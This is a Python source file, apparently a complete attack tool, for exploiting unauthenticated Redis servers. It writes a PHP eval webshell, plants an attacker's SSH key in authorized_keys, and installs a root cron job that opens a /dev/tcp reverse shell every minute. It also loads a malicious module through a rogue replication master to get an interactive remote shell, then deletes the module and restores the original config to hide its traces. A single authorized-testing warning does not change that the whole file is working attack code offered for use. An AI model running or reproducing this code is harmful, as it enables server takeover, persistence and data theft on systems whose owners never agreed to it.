#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: MINGY

"""
Redis未授权访问利用工具
支持写入WebShell、SSH公钥、定时任务和主从复制RCE

功能说明:
1. WebShell写入: 利用Redis写入PHP WebShell到Web目录
2. SSH公钥写入: 利用Redis写入SSH公钥到authorized_keys文件
3. 定时任务写入: 利用Redis写入定时任务实现反弹Shell
4. 主从复制RCE: 利用Redis主从复制机制执行任意命令
"""

import redis
import sys
import time
import argparse
import logging
import os
import socket
import uuid
from abc import ABC, abstractmethod


# 配置日志
def setup_logger(verbose=False):
    """设置日志系统"""
    level = logging.DEBUG if verbose else logging.INFO
    logging.basicConfig(
        level=level,
        format='%(asctime)s - %(levelname)s - %(message)s',
        datefmt='%Y-%m-%d %H:%M:%S'
    )
    return logging.getLogger('redis-exploit')


class RedisExploit(ABC):
    """Redis未授权访问利用基类"""
    
    def __init__(self, host, port, logger=None):
        self.host = host
        self.port = int(port)
        self.logger = logger or logging.getLogger('redis-exploit')
        self.redis_client = None
    
    def connect(self):
        """连接到Redis服务器"""
        try:
            self.redis_client = redis.StrictRedis(
                host=self.host,
                port=self.port,
                socket_timeout=5,
                socket_connect_timeout=5,
                decode_responses=True
            )
            
            if self.redis_client.ping():
                self.logger.info(f"成功连接到 Redis {self.host}:{self.port}")
                return True
            return False
        except redis.AuthenticationError:
            self.logger.error("Redis 需要密码认证")
            return False
        except redis.ConnectionError as e:
            self.logger.error(f"无法连接到 Redis: {e}")
            return False
        except Exception as e:
            self.logger.error(f"连接时发生错误: {e}")
            return False
    
    def set_rdb_path(self, directory, filename):
        """设置RDB保存路径和文件名"""

        if self.redis_client is None:
            self.logger.error("Redis客户端未初始化, 无法执行保存操作")
            return False

        try:
            self.redis_client.config_set('dir', directory)
            self.logger.info(f"设置 dir => {directory}")
            
            self.redis_client.config_set('dbfilename', filename)
            self.logger.info(f"设置 dbfilename => {filename}")
            return True
        except Exception as e:
            self.logger.error(f"设置RDB路径失败: {e}")
            return False
    
    def save_rdb(self, directory, filename):
        """触发RDB保存, 带重试机制"""
        if self.redis_client is None:
            self.logger.error("Redis客户端未初始化, 无法执行保存操作")
            return False

        max_retries = 3
        retry_delay = 5  # 秒
        
        for attempt in range(max_retries):
            try:
                self.redis_client.save()
                self.logger.info(f"执行 SAVE, 生成文件 {directory}/{filename}")
                return True
            except redis.ResponseError as e:
                if "Background save already in progress" in str(e) and attempt < max_retries - 1:
                    self.logger.warning(f"后台保存正在进行中, 等待 {retry_delay} 秒后重试 (尝试 {attempt + 1}/{max_retries})")
                    time.sleep(retry_delay)
                else:
                    self.logger.error(f"保存失败: {e}")
                    return False
        return False
        
    def cleanup_key(self, key_name):
        """清理Redis中的临时键"""
        if self.redis_client is None:
            self.logger.warning("Redis客户端未初始化, 无法清理键")
            return False
            
        try:
            if self.redis_client.exists(key_name):
                self.redis_client.delete(key_name)
                self.logger.info(f"清理临时键: {key_name}")
            return True
        except Exception as e:
            self.logger.warning(f"清理临时键失败: {e}")
            return False
    
    @abstractmethod
    def run(self) -> bool:
        """执行利用"""
        pass


class WebShellExploit(RedisExploit):
    """WebShell写入利用"""
    
    def __init__(self, host, port, web_path, filename, shell_content=None, logger=None):
        super().__init__(host, port, logger)
        self.web_path = web_path
        self.filename = filename
        self.shell_content = shell_content or '<?php @eval($_POST["cmd"]); ?>'
    
    def run(self):
        """执行WebShell写入"""
        if not self.connect():
            return False

        if self.redis_client is None:
            self.logger.error("Redis客户端未初始化, 无法执行保存操作")
            return False

        try:
            if not self.set_rdb_path(self.web_path, self.filename):
                return False
            
            # 写入WebShell内容
            # 使用随机键名前缀避免冲突
            import uuid
            key_name = f"temp_webshell_{uuid.uuid4().hex[:8]}"
            
            # 验证shell内容
            if not self.shell_content or len(self.shell_content) > 10240:  # 限制大小为10KB
                self.logger.error("WebShell内容无效或过大")
                return False
                
            self.redis_client.set(key_name, self.shell_content)
            self.logger.info(f"写入 WebShell 内容 (临时键: {key_name})")
            
            # 触发保存
            if not self.save_rdb(self.web_path, self.filename):
                # 清理临时键
                self.cleanup_key(key_name)
                return False
            
            # 清理临时键
            self.cleanup_key(key_name)
            
            self.logger.info(f"WebShell写入完成, 路径: {self.web_path}/{self.filename}")
            return True
        except Exception as e:
            self.logger.error(f"WebShell写入失败: {e}")
            return False


class SSHKeyExploit(RedisExploit):
    """SSH公钥写入利用"""
    
    def __init__(self, host, port, ssh_dir, public_key_file, logger=None):
        super().__init__(host, port, logger)
        self.ssh_dir = ssh_dir
        self.public_key_file = public_key_file
    
    def run(self):
        """执行SSH公钥写入"""
        if not self.connect():
            return False
        
        if self.redis_client is None:
            self.logger.error("Redis客户端未初始化, 无法执行保存操作")
            return False
        
        try:
            if not self.set_rdb_path(self.ssh_dir, 'authorized_keys'):
                return False
            
            # 读取并验证SSH公钥
            try:
                with open(self.public_key_file, 'r') as f:
                    public_key = f.read().strip()
                
                # 验证公钥格式
                if not public_key.startswith(('ssh-rsa', 'ssh-ed25519', 'ecdsa-sha2-nistp', 'ssh-dss')):
                    self.logger.error("无效的SSH公钥格式")
                    return False
                    
                # 检查公钥长度
                if len(public_key) < 50:  # 有效的SSH公钥通常较长
                    self.logger.error("SSH公钥长度异常")
                    return False
            except Exception as e:
                self.logger.error(f"无法读取公钥文件: {e}")
                return False
            
            # 使用随机键名前缀避免冲突
            import uuid
            key_name = f"temp_sshkey_{uuid.uuid4().hex[:8]}"
            
            # 验证公钥内容
            if not public_key or len(public_key) > 10240:  # 限制大小为10KB
                self.logger.error("SSH公钥内容无效或过大")
                return False
                
            self.redis_client.set(key_name, f'\n\n{public_key}\n\n')
            self.logger.info(f"写入SSH公钥内容 (临时键: {key_name})")
            
            # 触发保存
            if not self.save_rdb(self.ssh_dir, 'authorized_keys'):
                # 清理临时键
                self.cleanup_key(key_name)
                return False
            
            # 清理临时键
            self.cleanup_key(key_name)
            
            self.logger.info(f"SSH公钥写入完成。如果Redis有权限写入 {self.ssh_dir}, 则可以通过SSH公钥登录")
            return True
        except Exception as e:
            self.logger.error(f"SSH公钥写入失败: {e}")
            return False


class CronExploit(RedisExploit):
    """定时任务写入利用"""
    
    def __init__(self, host, port, cron_dir, remote_ip, remote_port, logger=None):
        super().__init__(host, port, logger)
        self.cron_dir = cron_dir
        
        # 验证IP地址格式
        import re
        if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', remote_ip):
            if logger:
                logger.warning(f"IP地址格式可能无效: {remote_ip}")
        self.remote_ip = remote_ip
        
        # 验证端口范围
        try:
            port_num = int(remote_port)
            if port_num < 1 or port_num > 65535:
                if logger:
                    logger.warning(f"端口号超出有效范围(1-65535): {port_num}")
        except ValueError:
            if logger:
                logger.warning(f"无效的端口号: {remote_port}")
        self.remote_port = remote_port
    
    def run(self):
        """执行定时任务写入"""
        if not self.connect():
            return False

        if self.redis_client is None:
            self.logger.error("Redis客户端未初始化, 无法执行保存操作")
            return False

        try:
            if not self.set_rdb_path(self.cron_dir, 'root'):
                return False
            
            # 写入定时任务内容
            # 使用随机键名前缀避免冲突
            key_name = f"temp_cron_{uuid.uuid4().hex[:8]}"
            
            # 验证IP和端口
            import re
            if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', self.remote_ip) or not str(self.remote_port).isdigit():
                self.logger.error(f"无效的IP地址或端口: {self.remote_ip}:{self.remote_port}")
                return False
                
            cron_content = f"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/{self.remote_ip}/{self.remote_port} 0>&1\n\n"
            self.redis_client.set(key_name, cron_content)
            self.logger.info(f"写入定时任务内容: {cron_content.strip()} (临时键: {key_name})")
            
            # 触发保存
            if not self.save_rdb(self.cron_dir, 'root'):
                # 清理临时键
                self.cleanup_key(key_name)
                return False
            
            # 清理临时键
            self.cleanup_key(key_name)
            
            self.logger.info(f"定时任务写入完成。如果Redis有权限写入 {self.cron_dir}, 则每分钟会执行一次反弹Shell命令")
            return True
        except Exception as e:
            self.logger.error(f"定时任务写入失败: {e}")
            return False


class RogueServer:
    """恶意Redis服务器实现"""
    
    def __init__(self, lhost, lport, logger=None):
        self.lhost = lhost
        self.lport = int(lport)
        self.logger = logger or logging.getLogger('redis-exploit')
        self.server_socket = None
        self.client_socket = None
        self.running = False
        self.payload = b""  # 初始化为空字节串
    
    def set_payload(self, payload_data):
        """设置恶意数据内容"""
        self.payload = payload_data
        self.logger.info(f"成功设置恶意数据 ({len(payload_data)} 字节)")
        return True
    
    def handle_client(self, data):
        """处理客户端请求"""
        resp = b""
        phase = 0
        
        self.logger.debug(f"接收到数据: {data}")
        
        if b"PING" in data:
            resp = b"+PONG\r\n"
            phase = 1
            self.logger.debug("响应 PING 请求")
        elif b"REPLCONF" in data:
            resp = b"+OK\r\n"
            phase = 2
            self.logger.debug("响应 REPLCONF 请求")
        elif b"PSYNC" in data or b"SYNC" in data:
            # 生成FULLRESYNC响应
            resp = b"+FULLRESYNC " + b"Z" * 40 + b" 0\r\n"
            resp += b"$" + str(len(self.payload)).encode() + b"\r\n"
            resp += self.payload + b"\r\n"
            phase = 3
            self.logger.debug("响应 PSYNC/SYNC 请求, 发送恶意数据")
        else:
            self.logger.debug("未知请求类型")
            
        return resp, phase
    
    def start_server(self):
        """启动恶意Redis服务器"""
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
        try:
            self.server_socket.bind(('0.0.0.0', self.lport))
            self.server_socket.listen(1)
            self.server_socket.settimeout(15)  # 设置超时
            self.running = True
            self.logger.info(f"恶意Redis服务器启动在 {self.lhost}:{self.lport}")
            return True
        except Exception as e:
            self.logger.error(f"启动恶意Redis服务器失败: {e}")
            return False
    
    def handle_connection(self):
        """处理连接请求"""
        if not self.server_socket:
            self.logger.error("服务器套接字未初始化")
            return False
            
        self.client_socket = None  # 初始化client_socket
        try:
            self.logger.info("等待Redis主服务器连接...")
            self.client_socket, addr = self.server_socket.accept()
            self.logger.info(f"接收到来自 {addr[0]}:{addr[1]} 的连接")
            
            while True:
                data = self.client_socket.recv(1024)
                if len(data) == 0:
                    break
                    
                resp, phase = self.handle_client(data)
                self.client_socket.send(resp)
                
                if phase == 3:
                    break
                    
        except socket.timeout:
            self.logger.warning("等待连接超时")
            return False
        except Exception as e:
            self.logger.error(f"处理连接时发生错误: {e}")
            import traceback
            self.logger.debug(traceback.format_exc())
            return False
        finally:
            if self.client_socket:
                self.client_socket.close()
                self.logger.info("连接已关闭")
        
        return True
    
    def stop(self):
        """停止恶意Redis服务器"""
        self.running = False
        if self.client_socket:
            try:
                self.client_socket.close()
            except:
                pass
        
        if self.server_socket:
            try:
                self.server_socket.close()
            except:
                pass
            
        self.logger.info("恶意Redis服务器已停止")


class MasterSlaveRCEExploit(RedisExploit):
    """Redis主从复制RCE利用"""
    
    def __init__(self, host, port, lhost, lport, so_file, filename='exp.so', logger=None):
        super().__init__(host, port, logger)
        self.lhost = lhost
        self.lport = int(lport)
        self.so_file = so_file
        self.filename = filename  # 使用可配置的文件名
        self.rogue_server = None
        self.module_loaded = False
    
    def unload_module(self):
        """卸载恶意模块"""
        try:
            if self.redis_client is not None:
                # 尝试卸载模块
                result = self.redis_client.execute_command('MODULE', 'UNLOAD', 'system')
                self.logger.info(f"模块卸载结果: {result}")
                self.module_loaded = False
                return True
        except Exception as e:
            self.logger.warning(f"卸载恶意模块失败(可能模块未加载): {e}")
            # 即使卸载失败也继续执行
            self.module_loaded = False
            return False
    

    def load_module(self):
        """加载恶意模块"""
        if self.module_loaded:
            return True
            
        try:
            if self.redis_client is not None:
                result = self.redis_client.execute_command('MODULE', 'LOAD', f'./{self.filename}')
                self.logger.info(f"模块加载结果: {result}")
                self.module_loaded = True
                return True
            else:
                self.logger.error("Redis客户端未初始化")
                return False
        except Exception as e:
            self.logger.warning(f"加载恶意模块失败: {e}")
            return False
    
    def execute_command(self, command):
        """执行系统命令"""
        if not self.module_loaded:
            if not self.load_module():
                return None
                
        try:
            # 使用system.exec执行命令
            if self.redis_client is not None:
                result = self.redis_client.execute_command('system.exec', command)
                return result
            else:
                self.logger.error("Redis客户端未初始化")
                return None
        except Exception as e:
            self.logger.error(f"执行命令失败: {e}")
            return None
    
    def setup_master_slave(self):
        """设置主从复制"""
        if self.redis_client is None:
            self.logger.error("Redis客户端未初始化")
            return False
            
        try:
            # 保存原始配置
            self.logger.info("正在保存原始Redis配置")
            try:
                if self.redis_client is not None:
                    config_info = self.redis_client.config_get('dir')
                    self.original_dir = config_info.get('dir', './') if isinstance(config_info, dict) else './'
                    config_info = self.redis_client.config_get('dbfilename')
                    self.original_dbfilename = config_info.get('dbfilename', 'dump.rdb') if isinstance(config_info, dict) else 'dump.rdb'
                    self.logger.info(f"原始配置 - dir: {self.original_dir}, dbfilename: {self.original_dbfilename}")
            except Exception as e:
                self.logger.warning(f"获取原始配置失败: {e}")
                self.original_dir = './'
                self.original_dbfilename = 'dump.rdb'
            
            # 设置工作目录和文件名
            self.logger.info(f"配置Redis写入路径为当前目录, 文件名为exp.so")
            try:
                if self.redis_client is not None:
                    self.redis_client.config_set('dir', './')
                    self.redis_client.config_set('dbfilename', self.filename)
                    self.logger.info("Redis写入路径配置完成")
            except Exception as e:
                self.logger.warning(f"配置Redis写入路径失败: {e}")
                return False
            
            # 创建恶意Redis服务器
            self.logger.info("正在创建恶意Redis服务器")
            self.rogue_server = RogueServer(self.lhost, self.lport, self.logger)
            
            # 读取恶意模块文件
            self.logger.info(f"正在加载恶意模块文件: {self.so_file}")
            try:
                with open(self.so_file, 'rb') as f:
                    payload_data = f.read()
                self.logger.info(f"成功加载恶意模块: {self.so_file} ({len(payload_data)} 字节)")
            except Exception as e:
                self.logger.error(f"加载恶意模块文件失败: {e}")
                return False
            
            # 设置恶意payload
            if not self.rogue_server.set_payload(payload_data):
                self.logger.error("设置恶意数据失败")
                return False
            
            # 启动恶意Redis服务器
            self.logger.info("正在启动恶意Redis服务器")
            if not self.rogue_server.start_server():
                self.logger.error("启动恶意Redis服务器失败")
                return False
            
            # 设置主从复制
            self.logger.info(f"设置主服务器为 {self.lhost}:{self.lport}")
            self.logger.info("正在设置主从复制关系")
            if self.redis_client is not None:
                self.redis_client.slaveof(self.lhost, self.lport)
            self.logger.info("成功设置主从复制")
            
            # 处理连接
            self.logger.info("等待并处理主从复制连接")
            if not self.rogue_server.handle_connection():
                self.logger.error("处理主从复制连接失败")
                return False
            
            # 等待命令执行
            self.logger.info("等待命令执行(3秒)")
            time.sleep(3)
            
            # 恢复为主服务器
            self.logger.info("正在恢复为主服务器模式")
            if self.redis_client is not None:
                self.redis_client.slaveof(None, None)  # None, None 表示 SLAVEOF NO ONE
            self.logger.info("已恢复为主服务器模式")
            
            # 恢复原始配置
            self.logger.info("正在恢复原始Redis配置")
            try:
                if self.redis_client is not None:
                    self.redis_client.config_set('dir', self.original_dir)
                    self.redis_client.config_set('dbfilename', self.original_dbfilename)
                self.logger.info("原始Redis配置恢复完成")
            except Exception as e:
                self.logger.warning(f"恢复原始配置失败: {e}")
            
            # 停止恶意服务器
            if self.rogue_server:
                self.logger.info("正在停止恶意Redis服务器")
                self.rogue_server.stop()
            
            return True
        except Exception as e:
            self.logger.error(f"设置主从复制失败: {e}")
            return False
    
    def interactive_shell(self):
        """启动交互式shell"""
        self.logger.info("正在初始化交互式shell...")
        
        # 首先设置主从复制
        if not self.setup_master_slave():
            self.logger.error("主从复制设置失败")
            return False
        
        # 加载模块
        self.logger.info("尝试加载恶意模块")
        if not self.load_module():
            self.logger.error("恶意模块加载失败, 无法执行命令")
            return False
        
        self.logger.info("进入交互式shell, 输入 'exit' 退出")
        self.logger.info("支持的命令:")
        self.logger.info("  exit - 退出shell")
        self.logger.info("  help - 显示帮助信息")
        self.logger.info("  reverse:host:port - 反弹shell到指定地址和端口")
        
        try:
            while True:
                try:
                    command = input("\033[92mredis-shell> \033[0m").strip()
                    
                    if command.lower() in ['exit', 'quit']:
                        self.logger.info("退出交互式shell")
                        break
                    elif command.lower() in ['help', 'h']:
                        self.logger.info("支持的命令:")
                        self.logger.info("  exit - 退出shell")
                        self.logger.info("  help - 显示帮助信息")
                        self.logger.info("  reverse:host:port - 反弹shell到指定地址和端口")
                        self.logger.info("  其他任意命令将在目标系统上执行")
                        continue
                    elif command.startswith('reverse:'):
                        # 处理反弹shell命令
                        try:
                            _, host, port = command.split(':')
                            self.logger.info(f"尝试反弹shell到 {host}:{port}")
                            reverse_cmd = f"bash -i >& /dev/tcp/{host}/{port} 0>&1"
                            # 在后台执行反弹shell命令
                            if self.redis_client is not None:
                                result = self.redis_client.execute_command('system.exec', f'/bin/bash -c "nohup {reverse_cmd} &"')
                            self.logger.info("反弹shell命令已发送, 请在指定位置监听")
                        except Exception as e:
                            self.logger.error(f"反弹shell命令格式错误, 应为 reverse:host:port")
                        continue
                    elif not command:
                        continue
                    
                    self.logger.info(f"执行命令: {command}")
                    result = self.execute_command(command)
                    
                    if result is not None:
                        print(f"\033[94m{result}\033[0m")
                    else:
                        self.logger.error("命令执行失败")
                        
                except KeyboardInterrupt:
                    self.logger.info("\n接收到中断信号, 退出shell")
                    break
                except EOFError:
                    self.logger.info("\nEOF, 退出shell")
                    break
                    
        except Exception as e:
            self.logger.error(f"交互式shell发生错误: {e}")
            return False
        finally:
            # 即使发生异常也要尝试清理
            self.logger.info("正在清理资源...")
            
            try:
                if self.redis_client is not None:
                    self.redis_client.execute_command('system.exec', f'rm -f ./{self.filename}')
                    self.logger.info(f"清理{self.filename}文件")
            except Exception as e:
                self.logger.warning(f"清理{self.filename}文件失败: {e}")

            self.unload_module()

        return True
    
    def run(self, command=None):
        """执行主从复制RCE利用"""
        self.logger.info("开始执行主从复制RCE利用")
        
        if not self.connect():
            self.logger.error("连接Redis服务器失败")
            return False

        if self.redis_client is None:
            self.logger.error("Redis客户端未初始化, 无法执行操作")
            return False

        try:
            # 检查Redis版本
            self.logger.info("正在获取Redis服务器信息")
            info = self.redis_client.info()
            redis_version = info.get('redis_version', '0.0.0') if isinstance(info, dict) else '0.0.0'
            redis_os = info.get('os', 'unknown') if isinstance(info, dict) else 'unknown'
            self.logger.info(f"目标Redis版本: {redis_version}")
            self.logger.info(f"目标系统: {redis_os}")
            
            # 检查Redis版本是否支持主从复制
            version_parts = redis_version.split('.')
            major_version = int(version_parts[0]) if len(version_parts) > 0 else 0
            minor_version = int(version_parts[1]) if len(version_parts) > 1 else 0
            
            if major_version < 2 or (major_version == 2 and minor_version < 8):
                self.logger.error("Redis版本过低, 不支持主从复制功能")
                return False
            
            self.logger.info("Redis版本检查通过, 支持主从复制功能")
            
            if command:
                # 执行单个命令模式
                self.logger.info(f"执行单个命令: {command}")
                
                # 设置主从复制
                if not self.setup_master_slave():
                    self.logger.error("主从复制设置失败")
                    return False
                
                # 执行命令
                result = self.execute_command(command)
                if result is not None:
                    self.logger.info("命令执行结果:")
                    print("-" * 50)
                    print(result.decode('utf-8'))
                    print("-" * 50)
                    return True
                else:
                    self.logger.error("命令执行失败")
                    return False
            else:
                # 交互式模式
                return self.interactive_shell()
                
        except Exception as e:
            self.logger.error(f"主从复制RCE利用失败: {e}")
            import traceback
            self.logger.debug(traceback.format_exc())
            return False
        finally:
            # 停止恶意服务器
            if self.rogue_server:
                self.logger.info("正在停止恶意Redis服务器")
                self.rogue_server.stop()


def parse_arguments():
    """解析命令行参数"""
    parser = argparse.ArgumentParser(
        description='Redis未授权访问利用工具 -- By MINGY',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
示例:
  python %(prog)s webshell -H 127.0.0.1 -P 6379 -w /var/www/html -f shell.php
  python %(prog)s sshkey -H 127.0.0.1 -P 6379 -d /root/.ssh -k /path/to/id_rsa.pub
  python %(prog)s cron -H 127.0.0.1 -P 6379 -d /var/spool/cron -i 10.0.0.1 -p 4444
  python %(prog)s msrce -H 127.0.0.1 -P 6379 -L 10.0.0.1 -l 6380 -s /path/to/exp.so -f exp.so
        '''
    )
    
    # 全局选项
    parser.add_argument('-v', '--verbose', action='store_true', help='启用详细日志输出')
    
    # 子命令
    subparsers = parser.add_subparsers(dest='subcommand', help='子命令', description='Redis未授权访问利用工具 -- By MINGY')
    
    # WebShell子命令
    webshell_parser = subparsers.add_parser('webshell', help='写入WebShell', description='Redis未授权访问利用工具 -- By MINGY')
    webshell_parser.add_argument('-H', '--host', required=True, help='Redis主机地址')
    webshell_parser.add_argument('-P', '--port', type=int, default=6379, help='Redis端口 (默认: 6379)')
    webshell_parser.add_argument('-w', '--web-path', required=True, help='Web目录路径')
    webshell_parser.add_argument('-f', '--filename', required=True, help='WebShell文件名')
    webshell_parser.add_argument('-c', '--content', help='自定义WebShell内容')
    
    # SSH公钥子命令
    sshkey_parser = subparsers.add_parser('sshkey', help='写入SSH公钥', description='Redis未授权访问利用工具 -- By MINGY')
    sshkey_parser.add_argument('-H', '--host', required=True, help='Redis主机地址')
    sshkey_parser.add_argument('-P', '--port', type=int, default=6379, help='Redis端口 (默认: 6379)')
    sshkey_parser.add_argument('-d', '--ssh-dir', required=True, help='SSH目录路径')
    sshkey_parser.add_argument('-k', '--key-file', required=True, help='公钥文件路径')
    
    # 定时任务子命令
    cron_parser = subparsers.add_parser('cron', help='写入定时任务', description='Redis未授权访问利用工具 -- By MINGY')
    cron_parser.add_argument('-H', '--host', required=True, help='Redis主机地址')
    cron_parser.add_argument('-P', '--port', type=int, default=6379, help='Redis端口 (默认: 6379)')
    cron_parser.add_argument('-d', '--cron-dir', required=True, help='定时任务目录路径')
    cron_parser.add_argument('-i', '--remote-ip', required=True, help='反弹Shell IP')
    cron_parser.add_argument('-p', '--remote-port', required=True, help='反弹Shell端口')
    
    # 主从复制RCE子命令
    msrce_parser = subparsers.add_parser('msrce', help='主从复制RCE利用', description='Redis未授权访问利用工具 -- By MINGY')
    msrce_parser.add_argument('-H', '--host', required=True, help='Redis主机地址')
    msrce_parser.add_argument('-P', '--port', type=int, default=6379, help='Redis端口 (默认: 6379)')
    msrce_parser.add_argument('-L', '--lhost', required=True, help='本地监听IP')
    msrce_parser.add_argument('-l', '--lport', type=int, default=6380, help='本地监听端口 (默认: 6380)')
    msrce_parser.add_argument('-c', '--command', help='要执行的命令（如不指定则进入交互模式）')
    msrce_parser.add_argument('-s', '--so-file', required=True, help='要加载的.so文件')
    msrce_parser.add_argument('-f', '--filename', default='exp.so', help='写入的文件名 (默认: exp.so)')

    return parser.parse_args()


def main():
    """主函数"""
    args = parse_arguments()
    
    # 如果没有提供子命令, 显示帮助信息
    if not args.subcommand:
        print("Redis未授权访问利用工具 -- By MINGY")
        print("错误: 必须指定子命令")
        print("使用 -h 或 --help 查看帮助信息")
        sys.exit(1)
    
    # 设置日志
    logger = setup_logger(args.verbose)

    # 初始化success变量
    success = False

    # 显示安全警告
    logger.warning("警告: 本工具仅用于安全测试和授权渗透测试")
    logger.warning("未经授权使用本工具可能违反法律法规")
    
    try:
        # 根据子命令执行相应的操作
        if args.subcommand == 'webshell':
            # 验证文件名
            if not args.filename.lower().endswith(('.php', '.php5', '.phtml')):
                logger.warning(f"文件名 {args.filename} 可能不是有效的PHP文件")
                
            exploit = WebShellExploit(
                args.host, 
                args.port, 
                args.web_path, 
                args.filename, 
                args.content,
                logger
            )
            success = exploit.run()
        
        elif args.subcommand == 'sshkey':
            # 验证公钥文件存在
            if not os.path.isfile(args.key_file):
                logger.error(f"公钥文件不存在: {args.key_file}")
                sys.exit(1)
                
            exploit = SSHKeyExploit(
                args.host, 
                args.port, 
                args.ssh_dir, 
                args.key_file,
                logger
            )
            success = exploit.run()
        
        elif args.subcommand == 'cron':
            exploit = CronExploit(
                args.host, 
                args.port, 
                args.cron_dir, 
                args.remote_ip, 
                args.remote_port,
                logger
            )
            success = exploit.run()
            
        elif args.subcommand == 'msrce':
            # 验证.so文件
            logger.info(f"验证恶意模块文件: {args.so_file}")
            if not args.so_file or not os.path.exists(args.so_file):
                logger.error("请指定有效的.so文件路径")
                sys.exit(1)
            
            logger.info(f"恶意模块文件验证通过: {args.so_file}")
                
            # 显示警告信息
            logger.warning("主从复制RCE利用需要较长时间(约10-15秒), 请耐心等待...")
            
            logger.info("正在初始化主从复制RCE利用模块")
            logger.info(f"目标主机: {args.host}:{args.port}")
            logger.info(f"本地主机: {args.lhost}:{args.lport}")
            logger.info(f"恶意模块: {args.so_file}")
            logger.info(f"写入文件名: {args.filename}")
                
            exploit = MasterSlaveRCEExploit(
                args.host,
                args.port,
                args.lhost,
                args.lport,
                args.so_file,
                args.filename,  # 传递文件名参数
                logger
            )
            
            # 如果提供了命令, 则执行单个命令；否则进入交互式模式
            command = getattr(args, 'command', None)
            logger.info("开始执行主从复制RCE利用")
            if command:
                logger.info(f"执行单个命令模式: {command}")
                success = exploit.run(command)
                logger.info(f"主从复制RCE利用执行结果: {'成功' if success else '失败'}")
            else:
                logger.info("进入交互式模式")
                success = exploit.run()
                logger.info(f"交互式shell结束: {'正常退出' if success else '发生错误'}")
        
        # 返回状态码
        sys.exit(0 if success else 1)
        
    except KeyboardInterrupt:
        logger.info("操作已取消")
        sys.exit(130)
    except Exception as e:
        logger.error(f"发生未处理的错误: {e}")
        if args.verbose:
            import traceback
            logger.debug(traceback.format_exc())
        sys.exit(1)


if __name__ == "__main__":
    main()